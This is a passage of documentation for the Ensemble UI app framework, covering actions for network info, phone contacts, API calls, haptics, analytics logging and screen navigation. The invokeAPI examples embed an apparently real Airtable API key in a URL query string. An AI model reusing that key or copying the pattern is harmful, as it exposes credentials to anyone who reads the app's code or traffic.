the `starter/ios/Runner` directory. There you will find the following two files that we need to modify - `info.plist` and `Runner.entitlements` - -`info.plist`: add the following. - -Add either `NSLocationWhenInUseUsageDescription` or `NSLocationAlwaysUsageDescription` depending on what your apps needs. -Make sure to adjust the message to meet your requirements. `PreciseLocation` is a must to get the wifiName and wifiBSSID. - -```xml - NSLocationWhenInUseUsageDescription - We need your location to provide better services. - NSLocationAlwaysUsageDescription - We need your location to provide continuous tracking even when the app is in the background. - NSLocationUsageDescription - using location - NSLocationTemporaryUsageDescriptionDictionary - - PreciseLocation - We need your precise location to provide location-based services and ensure accurate tracking. - -``` - -`Runner.entitlements`: add the following - -```xml - com.apple.security.personal-information.location - - com.apple.developer.networking.wifi-info - -``` -You can do the above changes by using the XCode graphical interface as well. Make sure to do a clean build after making the above changes. - -### Android -Android just needs the `Fine Location` permission as follows. - -Under `starter/android/app/src/main` - -`AndroidManifest.xml` - -```xml - -``` - -## Example - -```yaml -View: - styles: - useSafeArea: true - scrollableView: true - - # Optional - set the header for the screen - header: - titleText: Home - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - TextInput: - id: wifiName - label: wifiName - - TextInput: - id: wifiBSSID - label: wifiBSSID - - TextInput: - id: wifiIPv4 - label: wifiIPv4 - - TextInput: - id: wifiIPv6 - label: wifiIPv6 - - TextInput: - id: wifiGatewayIP - label: wifiGatewayIP - - TextInput: - id: wifiBroadcast - label: wifiBroadcast - - TextInput: - id: wifiSubmask - label: wifiSubmask - - TextInput: - id: status - label: status - multiline: true - maxLines: 10 - minLines: 4 - - Button: - label: get wifi info - onTap: - getNetworkInfo: - onSuccess: - executeCode: - body: | - status.value = event.data.status; - wifiName.value = event.data.networkInfo.wifiName; - wifiBSSID.value = event.data.networkInfo.wifiBSSID; - wifiIPv4.value = event.data.networkInfo.wifiIPv4; - wifiIPv6.value = event.data.networkInfo.wifiIPv6; - wifiGatewayIP.value = event.data.networkInfo.wifiGatewayIP; - wifiBroadcast.value = event.data.networkInfo.wifiBroadcast; - wifiSubmask.value = event.data.networkInfo.wifiSubmask; - onError: - executeCode: - body: | - status.value = event.error; -``` - ---- - -# getPhoneContacts - -The `PhoneContacts` view is designed to retrieve and display phone contacts from Android and iOS physical devices or simulators. It includes a warning note, a button to fetch contacts, and a list view to display individual contact details. - -```yaml -- Button: - label: Get Phone Contacts - onTap: - getPhoneContacts: - id: phoneContactId - onSuccess: | - // ***code - console.log("Phone Number Fetched Successfully"); - ensemble.storage.set('contacts', event.data['contacts']); - - onError: | - // ***code - console.log("Something went wrong!"); -``` -The `onSuccess` and `onError` callbacks for the "Get Phone Contacts" button. In the success callback (onSuccess), the retrieved contacts are logged to the console and stored in the `ensemble.storage.contacts`. In the error callback (onError), a message is logged indicating an issue. - -```yaml -- ListView: - id: listView - styles: - expanded: true - item-template: - data: ${ensemble.storage.contacts} - name: contact - template: - UserContact: - inputs: - contact: ${contact} -``` -The `ListView` component displaying a list of contacts (ensemble.storage.contacts). It uses the `UserContact` custom widget template for each item in the list. - ---- - -# getPhoneContactPhoto - -```yaml -UserContact: - inputs: - - contact - styles: { gap: 10 } - onLoad: - getPhoneContactPhoto: - id: contactPhotoId - contactId: ${contact.id} - - # Using JS Code - - # //@code - # ensemble.getPhoneContactPhoto({ - # id: "contactPhotoId", - # contactId: contact.id - # }); - - body: - Column: - styles: { gap: 2 } - children: - - Row: - children: - - Image: - source: ${contactPhotoId.image} - width: 100 - height: 100 - fallback: ImageFallbackWidget - - Column: - styles: { gap: 2, margin: 10 } - children: - - Text: - textStyle: { fontWeight: bold, fontSize: 18 } - text: "${contact.displayName}" - - Text: - textStyle: { fontWeight: bold, fontSize: 18 } - text: "${getPhoneNumber(contact.phones)}" - - Shape: - styles: - height: 10 - - Divider: -``` -The `UserContact` component representing the structure for displaying an individual contact. It includes an `Image` and two `Text` components for displaying the contact's display image, name and phone number. The `getPhoneContactPhoto` action is used to get the contact photo with the contactId. - -```yaml -Global: | - //@code - - if (ensemble.storage.contacts == null) { - ensemble.storage.contacts = []; - } - - function getPhoneNumber(phones) { - if (phones.length > 0) { - return phones[0].number; - } else { - return ""; - } - } -``` -The global code block initializes `ensemble.storage.contacts` as an empty array if it's null. It also includes the `getPhoneNumber` function, which extracts the primary phone number from an array of phone numbers. - ---- - -# invokeAPI - -To check out examples of the invokeAPI action, go to the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e546b0d8-3220-4217-bd5c-181118154073). - -## API response object -Both the `onResponse` and `onError` actions provide reference to the API response object. The `response` object has the following propertuies available to you. - -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| statusCode | number | Http status code. See details [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) | -| body | String | the actual body of the response. This is where you are mostly interested in. JSON responses are automatically parsed and made available. Other content-types are available as strings. | -| headers | array | Key value pairs of http response headers | -| reasonPhrase | String | Phrase that describes the statusCode. Http response statusCode is a 3 digit number and reasonPhrase describes that number. For example - reasonPhrase for statusCode between 200 and 299 (inclusive) is Successful. More [here](https://www.ibm.com/docs/en/cics-ts/5.5?topic=concepts-status-codes-reason-phrases) | -| type | String | By default the invokeAPI action is used to call http(s) APIs whether REST o GraphQL APIs. However, Ensemble has a deep integration with firestore. if the type is specificed as `firestore`, this action will invoke firestore APIs. For details and examples, see [Firestore Operations](pages/firebase/firestore-operations.mdx) | - -## API/invokeAPI properties -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | -| name | String | Name of the API defined in the API section | -| inputs | Object | Key value pairs ofinputs to be passed to API definition | -| onResponse | Action | The action to handle the response. This action can access the `response` object. For example - `response.body` or event overwrite the body as `response.body = myJsonObject;` | -| onError | Action | The action to handle errors. Just like onResponse, you have the `response` object available here so you can check `response.statusCode` to see what error was sent by the server and then use `response.body` to access the error response | - -## Content Types - -The API supports different content types for request bodies: - -1. **JSON (Default)** - - If no Content-Type is specified, the body is sent as JSON - - Content-Type: application/json - - By default, the Flutter framework sends the content-type header as `application/json; charset=utf-8` for json content. The presence of `charset=utf-8` while perfectly fine can cause issues for some servers. In order to make sure `charset=utf-8` is not appended to the header, set the `content-type` header as a header in your API. `Content-Type: application/json` - -Example with JSON data: - -```yaml -API: - loginUser: - uri: https://api.example.com/login - method: POST - headers: - #application/json is the default content-type. You can optionally specify the Content-Type header to make sure framework sends the header as `Content-Type: application/json`. When not specified, header will be sent as `Content-Type: application/json; charset=utf-8` - Content-Type: application/json - body: ${json} -``` - -3. **URL Encoded Form Data** - - Set Content-Type: application/x-www-form-urlencoded - - Body will be automatically encoded in URL-encoded format - -Example with URL-encoded form data: - -```yaml -API: - loginUser: - uri: https://api.example.com/login - method: POST - headers: - Content-Type: application/x-www-form-urlencoded - body: - username: ${username} - password: ${password} -``` - -**invokeAPI** is used for calling an API. You can call an API on events such as a button tap or on screen load. First, you have to declare an API: - -```yaml -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -``` - -### Usage examples of InvokeAPI - -Now to call the API on screen load, use the `onLoad` property of the view, there are two ways to call invokeAPI as well - -##### 1. Using ensemble invokeAPI action. - -````yaml -View: - onLoad: - invokeAPI: - name: getPeople - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Text: - text: ${getPeople.body.results.length} records were retrieved from API - - Markdown: - text: | - Here's the API response body: - ``` - ${getPeople.body} - ``` - -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -```` - -##### 2. Using JavaScript code block to execute invokeAPI action. - - - -````yaml -View: - onLoad: | - //@code - ensemble.invokeAPI("getPeople"); - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Text: - text: ${getPeople.body.results.length} records were retrieved from API - - Markdown: - text: | - Here's the API response body: - ``` - ${getPeople.body} - ``` - -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -```` - - - -- **Its similar to previous only that we are now using Javascript code block**. - -To call an API on button tap, inside the body add a Button with `onTap` property: - - - -```yaml -View: - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Call API - onTap: - invokeAPI: - name: getPeople - - Column: - item-template: - data: ${getPeople.body.results} - name: item - template: - Text: - text: ${item.name.first} - -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -``` - - - -## POST calls with input parameters - -You can also create a POST request and pass parameters to the API like this - - - -```yaml -View: - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Call API - onTap: - invokeAPI: - name: createToDo - inputs: - name: "some value" - onResponse: | - //@code - var id = response.body.records[0].id; - postStatus.text = 'Record created: ' + id; - - Text: - id: postStatus - -API: - createToDo: - inputs: - - name - uri: "https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb" - method: "POST" - body: - records: - - fields: - desc: "${name}" -``` - - - -## Handing errors - -To handle Errors, you can use the `onError` property: - - - -```yaml - - Text: - text: Handle error - - Button: - label: Call API - onTap: - invokeAPI: - name: createToDoError - onResponse: | - //@code - apiStatus.text = 'Call was successful'; - //you have the response object available here so you access its properties. See top of the page for response object - console.log(response.body);//this will print out the full body of the response object. See above for all the properties of a response object - onError: | - //@code - apiStatus.text = 'API returned an error'; - //you have the response object available here so you access its properties. See top of the page for response object - console.log(response.statusCode);//this will print out the http status code of the response object. See above for all the properties of a response object - - Text: - id: apiStatus - -API: - createToDoError: - inputs: - - name - uri: 'https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb' - method: 'POST' - body: - records: "this is not what the API expects" -``` - - - -## Use in code - -You can also call an API in code block. - - - -```yaml - - Button: - label: Call API - onTap: - executeCode: - body: | - //@code - - // no inputs - ensemble.invokeAPI("getNewYorkTime"); - - Text: - visible: ${getNewYorkTime.body != null} - text: Current time in NYC is ${getNewYorkTime.body.datetime} - -API: - getNewYorkTime: - uri: https://worldtimeapi.org/api/timezone/America/New_York - method: GET -``` - - - -## Properties for invokeAPI - -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | -| name | String | Name of the API defined in the API section | -| inputs | Object | Key value pairs ofinputs to be passed to API definition | -| onResponse | Action | The action to handle the response | -| onError | Action | The action to handle errors | - -Details about API [here](#interact-with-apis) - ---- - -# invokeHaptic - -invokeHaptic action allows users to play haptics on the device allowing better UX. It supports 5 haptics namely heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate. They are listed in decreasing order of intensity -and vibrate does a short vibrate pulse. It also supports playing haptic by JavaScript code and also has additional parameters like onTapHaptic or onChangeHaptic added to multiple widgets where haptic would be required. - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------- | -| type | enum | The type of haptic to perform. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| onComplete| action | Execute another Action post executing the haptic | - -**Example** - - - -```yaml -View: - header: - title: Haptic - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Using Action - onTap: - invokeHaptic: - type: lightImpact - onComplete: | - //@code - console.log("Haptic completed") - - Button: - label: Using JavaScript - onTap: | - //@code - invokeHaptic({type: lightImpact}) - - Button: - label: Using methods - onTapHaptic: lightImpact - onTap: | - //@code - console.log("Button Press") -``` - ---- - -# logEvent - -logEvent action allows you to track analytics events and user interactions using Firebase Analytics, MoEngage, or Adobe Analytics. - -## Properties -| Property | Type | Description | Default | -|:---------|:-----|:------------|:--------| -| provider | String | Analytics provider ("firebase", "moengage", "adobe") | "firebase" | -| operation | String | Operation to perform (see provider-specific operations) | "logEvent" | -| name | String | Name of the event to track (required for Firebase and MoEngage trackEvent) | - | -| parameters | Object | Additional parameters for events | {} | -| value | Any | Value for MoEngage operations (location, user attributes etc) | - | -| attributeKey | String | Key for MoEngage custom attributes | - | -| logLevel | enum | Log level ("info", "debug", "fatal") | "info" | -| onSuccess | Action | Action to execute on success | - | -| onError | Action | Action to execute on error | - | -| userId | String | User ID for Firebase setUserId operation | - | - -## Firebase Provider - -Firebase provider enables basic analytics event tracking and user identification. - -### Operations - -#### logEvent (Default) -Logs an analytics event to Firebase. Requires name and optional parameters. - -```yaml -Button: - label: Track Purchase - onTap: - logEvent: - name: purchase_complete - parameters: - amount: 99.99 - currency: USD -``` - -#### setUserId -Sets the user identifier for Firebase Analytics. - -```yaml -logEvent: - provider: firebase - operation: setUserId - userId: "user123" -``` - -## MoEngage Provider -MoEngage provider enables comprehensive user engagement features including event tracking, user attributes, and in-app messaging. - -### MoEngage User Profile Operations -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| setUniqueId | Sets a unique identifier for a user. This should be a unique and consistent identifier for the user across sessions. | value (String) | -| setUserName | Tracks full name as a user attribute. | value (String) | -| setFirstName | Tracks first name portion as a separate user attribute. | value (String) | -| setLastName | Tracks last name portion as a separate user attribute. | value (String) | -| setEmail | Tracks user's email ID as attribute for communication and identification. | value (String) | -| setPhoneNumber | Tracks user's phone number as attribute for communication. | value (String) | -| setBirthDate | Sets user's birth date. Must be in ISO format: yyyy-MM-dd'T'HH:mm:ss.fff'Z' | value (ISO date string) | -| setGender | Sets user's gender for demographic data. | value (enum: male/female) | -| setAlias | Updates user's unique ID that was previously set via setUniqueId. Use this to migrate IDs. | value (String) | -| setLocation | Sets user's geographic location for location-based targeting. | value (Object: {latitude: number, longitude: number}) | -| setAppStatus | Indicates whether this is a fresh install or app update. | value (enum: install/update) | - -### MoEngage Custom Attributes -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| custom | Sets a custom user attribute. Supports primitive types (String, Number, Boolean), arrays of primitives, and valid JSON objects/arrays. Cannot be empty. | attributeKey (String), value (Any supported type) | -| timestamp | Sets a date/time attribute in ISO format. | attributeKey (String), value (ISO date string) | -| locationAttribute | Sets a location-based attribute for geo-targeting. | attributeKey (String), value ({latitude: number, longitude: number}) | - -### MoEngage Event & Campaign Operations -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| trackEvent | Tracks an analytics event with optional properties. Properties support same types as custom attributes. | name (String), parameters (Object, optional) | -| showInApp | Shows an in-app message if one is available. | None | -| showNudge | Shows a non-intrusive nudge notification. If position not specified, uses default position. | value (enum: top, bottom, bottomLeft, bottomRight, any) | -| setContext | Sets the current context for in-app message targeting. Contexts determine when messages can be shown. | value (String[]) | -| resetContext | Removes all previously set contexts for in-app targeting. | None | - -### MoEngage Push Notification Operations -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| registerForPush | Registers for push notifications (iOS only). | None | -| registerForProvisionalPush | Registers for provisional push notifications (iOS only). | None | -| passFCMToken | Passes Firebase Cloud Messaging token to SDK (Android only). | value (String - FCM token) | -| passPushKitToken | Passes PushKit token to SDK (Android only). | value (String - PushKit token) | -| passFCMPushPayload | Passes FCM push notification payload to SDK (Android only). | value (Object - FCM payload) | -| requestPushPermission | Requests push notification permission (Android 13+). | None | -| updatePermissionCount | Updates count of permission requests made. | value (Number) | -| pushPermissionResponse | Notifies SDK about push permission response. | value (Boolean) | - -### MoEngage SDK Configuration Operations -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| enableSdk | Enables all SDK features. By default enabled. | None | -| disableSdk | Disables all SDK features. | None | -| enableDataTracking | Enables analytics tracking. By default enabled. | None | -| disableDataTracking | Disables all analytics tracking. No events/attributes will be tracked. | None | -| enableDeviceIdTracking | Enables device ID tracking (Android only). By default enabled. | None | -| disableDeviceIdTracking | Disables device ID tracking (Android only). | None | -| enableAndroidIdTracking | Enables Android ID tracking. By default disabled. | None | -| disableAndroidIdTracking | Disables Android ID tracking. | None | -| enableAdIdTracking | Enables advertising ID tracking. By default disabled. | None | -| disableAdIdTracking | Disables advertising ID tracking. | None | -| logout | Invalidates current user session and creates new one. | None | -| deleteUser | Deletes current user data from MoEngage (Android only). Returns UserDeletionData. | None | - -### Examples - -#### Track Event -```yaml -logEvent: - provider: moengage - operation: trackEvent - name: "level_complete" - parameters: - level: 5 - score: 1000 -``` - -#### Set User Profile -```yaml -logEvent: - provider: moengage - operation: setUserName - value: "John Smith" - onSuccess: | - //@code - console.log("User name updated") -``` - -#### Show In-App Message -```yaml -logEvent: - provider: moengage - operation: showInApp -``` - -## Adobe Analytics Provider - -Adobe Analytics provider enables comprehensive analytics tracking, user identity management, consent management, and user profile management. - -### Core Operations - -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| trackAction | Tracks user interactions and events. | name (String), parameters (Object with event details) | -| trackState | Tracks page views and screen states. | name (String), parameters (Object with state details) | -| sendEvent | Sends an Experience event to Adobe Experience Platform Edge Network. | name (String), parameters (Object with xdmData) | - -### Identity Management Operations - -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| getExperienceCloudId | Retrieves the Experience Cloud ID (ECID). | None | -| getUrlVariables | Returns the identifiers in a URL's query parameters for consumption in hybrid mobile applications. | None | -| getIdentities | Gets all identities in the Identity for Edge Network extension. | None | -| updateIdentities | Updates the currently known identities within the SDK. | parameters (Object with identities) | -| removeIdentity | Removes the identity from the stored client-side IdentityMap. | parameters (Object with item and namespace) | -| resetIdentities | Clears all identities stored in the Identity extension and generates a new Experience Cloud ID (ECID). | None | -| setAdvertisingIdentifier | Sets or removes the advertising identifier in the XDM Identity Map. | parameters (Object with advertisingIdentifier) | - -### Consent Management Operations - -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| getConsents | Retrieves current consent preferences. | None | -| updateConsent | Merges existing consents with given consents. | parameters (Object with allowed boolean) | -| setDefaultConsent | Sets default consent for the SDK. | parameters (Object with allowed boolean) | - -### User Profile Operations - -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| getUserAttributes | Gets user profile attributes matching provided keys. | parameters (Object with attributes array) | -| updateUserAttributes | Sets multiple user profile attributes. | parameters (Object with attributeMap) | -| removeUserAttributes | Removes user profile attributes matching provided keys. | parameters (Object with attributes array) | - -### Adobe Assurance Operations - -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| setupAssurance | Configures Adobe Assurance for debugging. | parameters (Object with url) | - -For detailed examples of Adobe Analytics operations, see the [Adobe Analytics documentation](../adobe-analytics.mdx). - ---- - -# Action: navigateBack - -The `navigateBack` action allows users to navigate back to the previous screen within the app’s navigation stack. It removes the current screen from the navigation history, so when the user navigates back, the previous screen reappears. This action is also useful when working with modal screens, as it closes the modal and returns the user to the originating screen. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :-------------------------------------------------------------------------------------------------------------- | -| data | object | Data object to send back to the previous screen. This allows you to pass information back when navigating back. | - ---- - -## Example: Navigating Back - -In this example, we use the `navigateScreen` action to navigate to another screen, and then use the `navigateBack` action to return to the originating screen. The `data` is used to send data back to the previous screen when navigating back. - -### Originating Screen - -```yaml -View: - styles: - scrollableView: true - body: - Column: - styles: - padding: 24 - children: - - Button: - label: Go to demo screen - onTap: - navigateScreen: - name: navigateBack Demo - onNavigateBack: - showToast: - message: ${event.data} -``` - -### Target Screen - -```yaml -View: - styles: - scrollableView: true - body: - Column: - styles: - padding: 24 - children: - - Button: - label: Go Back - onTap: - navigateBack: - data: - message: This is example of data passed when navigating back. - -``` -### Explanation - -1. **Navigate to Another Screen:** - First, the user clicks the "Go to demo screen" button, which triggers the `navigateScreen` action, navigating to a new screen called `navigateBack Demo`. - - ```yaml - - Button: - label: Go to demo screen - onTap: - navigateScreen: - name: navigateBack Demo - onNavigateBack: - showToast: - message: ${event.data} - ``` - -2. **Trigger `navigateBack` on the Target Screen:** - On the demo screen, there’s a button with the label "Go Back." When this button is pressed, the `navigateBack` action is triggered, sending a data containing a message back to the previous screen: - ```yaml - - Button: - label: Go Back - onTap: - navigateBack: - data: - message: This is example of data passed when navigating back. - ``` - -3. **Access the data on the Originating Screen:** - When the user navigates back using the `navigateBack` action, the `onNavigateBack` event is triggered on the source screen. This event gives you access to the data sent during the `navigateBack` action via `event.data`. You can then use this data to perform actions, such as displaying a message with `showToast` or updating other UI elements on the source screen. - - ```yaml - - Button: - label: Go to demo screen - onTap: - navigateScreen: - name: navigateBack Demo - onNavigateBack: - showToast: - message: ${event.data} - ``` - -You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/XjvL2XseLnRvYO4FS82e) - ---- - -# navigateModalScreen - -navigateModalScreen action enables users to open a specific screen or page as a modal overlay, creating a temporary and focused view to capture user input or display additional content without losing context of the main app flow. - -### Properties - -| Property | Type | Description | -| :------------- | :----- | :------------------------------------------------------- | -| name | string | Enter the Name or ID of your screen | -| inputs | object | Specify the key/value pairs to pass into the next Screen | -| onModalDismiss | action | Execute an Action when the modal screen is dismissed | - -#### properties-options - -| Property | Type | Description | -| :------- | :--- | :---------- | -| closeToasts | boolean | Determines whether toasts (temporary messages) should be closed automatically. Default is `true`. | - -**Note:** To close the modal from within the modal screen, just call the [navigateBack](7-navigateBack.md) action - -**Example** - - - -```yaml -View: - title: "Action: navigateModalScreen" - styles: - scrollableView: true - - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: You can open new screen on above the main screen using action `navigateModalScreen` - - Button: - label: Show Modal - onTap: - navigateModalScreen: - name: Actions & events - - Markdown: - text: You can navigateModalScreen from code blocks using `ensemble.navigateModalScreen('ScreenName');`. - - Button: - label: Show Modal Using Code - onTap: - executeCode: - body: | - //@code - - // no inputs - ensemble.navigateModalScreen('Actions & events'); - //with inputs - //ensemble.navigateModalScreen({name: 'Actions & events',inputs:{input1: 'abc', input2: 'ced'}} ); -``` - - - -You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/67ICgJIX0McKswXCybb0?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# navigateScreen - -navigateScreen action allows users to transition to a specific screen or page within the app, facilitating seamless navigation and enhancing user interaction with different sections of the application. - -Like any other action, navigateScreen may be called in YAML or in the JS code. - -### Properties - -| Property | Type | Description | -| :------------- | :----- | :-------------------------------------------------------------------------------------- | -| name | string | Enter the Name or ID of your Screen | -| inputs | object | Specify the key/value pairs to pass into the next Screen | -| options | object | [see properties](#properties-options) | -| onNavigateBack | action | triggers when users returns back to a screen it previously visited using navigateScreen | -| transition | Map | [Screen transition](#screen-transition) , [Screen transition example](#screen-transition-example) - -#### Screen Transition -Animate screen transition from one to another. - -| Property | Type | Description | -| :--- | :--- | :---| -| type | string | [transition type](#transition-type) -| alignment | string | [transition alignment](#transition-alignment) -| duration | integer| duration of transition in millisecond - -#### transition-type -| name | -| :--- | -|fade | -|rightToLeft | -|leftToRight | -|topToBottom | -|bottomToTop | -|scale | -|rotate | -|size | -|rightToLeftWithFade | -|leftToRightWithFade | -|leftToRightPop | -|rightToLeftPop | -|topToBottomPop | -|bottomToTopPop | - -#### transition-alignment -|name| -|:---| -|topLeft| -|topCenter| -|topRight| -|centerLeft| -|center| -|centerRight| -|bottomLeft| -|bottomCenter| -|bottomRight| - -#### properties-options - -| Property | Type | Description | -| :------------------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| replaceCurrentScreen | boolean | If true, the new screen will replace the current screen on the navigation history. Navigating back from the new screen will skip the current screen. | -| clearAllScreens | boolean | If true, clear out all existing screens in the navigation history. This is useful when navigating to a Logout or similar page where users should not be able to go back to the prior screens. | -| closeToasts | boolean | Determines whether toasts (temporary messages) should be closed automatically. Default is `true`. | - -**Example: Calling navigateScreen - Detailed Examples for YAML and JS** - - - -```yaml -View: - title: "Action: navigateScreen" - styles: - scrollableView: true - - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: You can navigate to another screen using action `navigateScreen` - - Button: - label: Navigate to Home - onTap: - navigateScreen: - name: Home - - - Markdown: - text: You can navigateScreen from code blocks using `ensemble.navigateScreen('ScreenName');`. - - Button: - label: Navigate to Home using code - onTap: - executeCode: - body: | - //@code - ensemble.navigateScreen('Home'); - - - Divider - - - Markdown: - text: | - #### Pass inputs - You have the option of passing inputs to the target screen. - - - TextInput: - id: messageInput - label: Message to pass - value: Hello there - - - Button: - label: Navigate and pass inputs - onTap: - navigateScreen: - name: "Action: navigateScreen inputs demo" - inputs: - message: ${messageInput.value} - - - Button: - label: Navigate and pass inputs using code - onTap: - executeCode: - body: | - //@code - ensemble.navigateScreen({ - "name": "Action: navigateScreen inputs demo", - "inputs": { - "message": messageInput.value - } - }); - - - Divider - - - Markdown: - text: | - #### options: clearAllScreens - By default, Ensemble retains your previous screens. On browser, user can press back button and get the previous view. - - When you need to remove all the previous screens from the history stack, as in a logout scenario, use `clearAllScreens: true`. - - - Button: - label: Navigate and clear all screen history - onTap: - navigateScreen: - name: Home - options: - clearAllScreens: true - - - Divider - - - Markdown: - text: | - #### options: replaceCurrentScreen - Sometimes when navigating to a new screen, you may not want the user to go back to the current screen. An example is after logging in, hitting back should not take the user back to the login screen. Use the flag `replaceCurrentScreen: true` to remove the current screen from the history stack. - - - Button: - label: Navigate to new screen and replace the current screen - onTap: - navigateScreen: - name: Home - options: - replaceCurrentScreen: true -``` - - - -You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/kgGUzKx0YiIWp96auaEO?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - -**Example: Calling navigateScreen in Javascript** - -```javascript -//navigating to a screen without any options -ensemble.navigateScreen('My Screen'); -//navigating to a screen with options -ensemble.navigateScreen({name: 'My Screen',options: {replaceCurrentScreen: true}} -``` - -### onNavigateBack - -We can also make use of onNavigateBack in our navigateScreen action to achieve certain goals like calling an API when returning to screen, updating something which was modified on visited screen etc. - -**Example** -Below is only a snippet from a use case where we can perform any action inside the onNavigateBack event. We can call an API or update any particular parameter we want - -```yaml -navigateScreen: - name: "${booking.completion_status == 'confirmed' ? 'ConfirmedTrip' : 'ConfirmTripRequest'}" - inputs: - booking: ${booking} - onNavigateBack: |- - ensemble.debug("got back") -``` - -Another example where using in context of a button we are updating certain local storage items inside the context of the onNavigateBack - -```yaml -- Button: - label: Categories - styles: - outline: true - padding: 0 - labelStyle: - fontSize: 12 - color: 4288060321 - endingIcon: - name: chevron_right - color: 4288060321 - size: 16 - onTap: null - navigateScreen: - name: Spending - onNavigateBack: |- - //@code - getCategoriesAggregate(ensemble.storage.timeSpan); - -``` - -Note: here we are chaining actions onTap -> navigateScreen -> onNavigateBack etc. Also getCategories(...) is a function used to update certain local storage items. - -- We can also pass data from the visited screen to current screen using navigateBack action. let see an example for that as well. - -```yaml -View: - header: - title: Home - body: - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - navigateBack: - data: # optional, can be simple or complex - var1: 1 - var2: "s t r i n g" -``` - -on visited screen using navigateBack we pass certain variables which can be accessed on previous screen using onNavigateBack event. - -```yaml -View: - header: - title: Home - body: - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - navigateScreen: - name: nextScreen - onNavigateBack: |- - //@code - console.log("navigated back to main screen"); - console.log(event.data); -``` - -#### Screen Transition Example - -```yaml -View: - header: - title: Screen Transition - - body: - Button: - label: Navigate transition - onTap: - navigateScreen: - name: - transition: - type: rotate - duration: 1000 - alignment: center -``` - ---- - -# navigateViewGroup - -navigateViewGroup action allows users to navigate between menu items while maintaining the menu in place. This simulate the experience when user taps on different nav items. - -To use this action, first create your [ViewGroup](#view-group). - -### Properties - -| Property | Type | Description | -| :------------- | :------ | :-------------------------------------------------------------------------------------- | -| viewIndex | integer | The index of the menu item to navigate to, starting from 0 | -| name | string | The name of the ViewGroup. This is the name given to the screen when it was created. If the current screen is part of the ViewGroup, name is not required. | - - -### Example - - -Given the following ViewGroup, named `home`: - -```yaml -ViewGroup: - BottomNavBar: - items: - - label: Screen1 - icon: - name: home - page: NavigateViewGroupScreen1 - - label: Screen2 - icon: - name: input - page: NavigateViewGroupScreen2 - - label: Screen3 - icon: - name: settings - page: NavigateViewGroupScreen3 - -``` - -Use the `navigateViewGroup` action to nvaigate between the tabs without dismissing the menu. - - -```yaml -View: - styles: - scrollableView: true - backgroundColor: 0xFFA2728D - - header: - title: Screen 2 - styles: - backgroundColor: 0xFFA2728D - - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Button: - label: Go to NavigateViewGroupScreen1 - onTap: - navigateViewGroup: - name: home - viewIndex: 0 - - - Button: - label: Go to NavigateViewGroupScreen3 - onTap: - navigateViewGroup: - name: home - viewIndex: 2 -``` - - -This action will ensure that the menu renders when you navigate to the target screen. In contrast, using `navigateScreen` action will result in only displaying the new screen without the menu. - ---- - -# notification - -notifications action provides a comprehensive and customizable solution for managing notifications within the app, including handling incoming notifications, displaying them to users, and implementing notification-related functionalities, enhancing user experience and interaction with timely updates and alerts. - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :-------------------------------------------- | -| onTap | action | Execute an Action on notification is tap. | -| onReceive | action | Execute an Action on notification is receive. | - ---- - -## onNavigateBack - ---- - -# Action: onViewGroupResume - -The `onViewGroupResume` action allows users to execute actions when navigate back to the viewGroup within the app’s navigation stack. when the user navigates back, the ViewGroup reappears and action specified under `onViewGroupResume` is executed. This action is useful when working with all type of menus. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :-------------------------------------------------------------------------------------------------------------- | -| Action | ensemble action | Any ensemble action that'll be executed when navigating back to ViewGroup. Such as `executeCode`, `showDialog`, `showToast` etc. | - - -## Example: onViewGroupResume - -In this example, we use the `navigateScreen` action to navigate to another screen, and then use the `onViewGroupResume` action to execute any user specified action while returning to screen. - -### Originating Screen - -```yaml -ViewGroup: - onViewGroupResume: - showDialog: - body: - 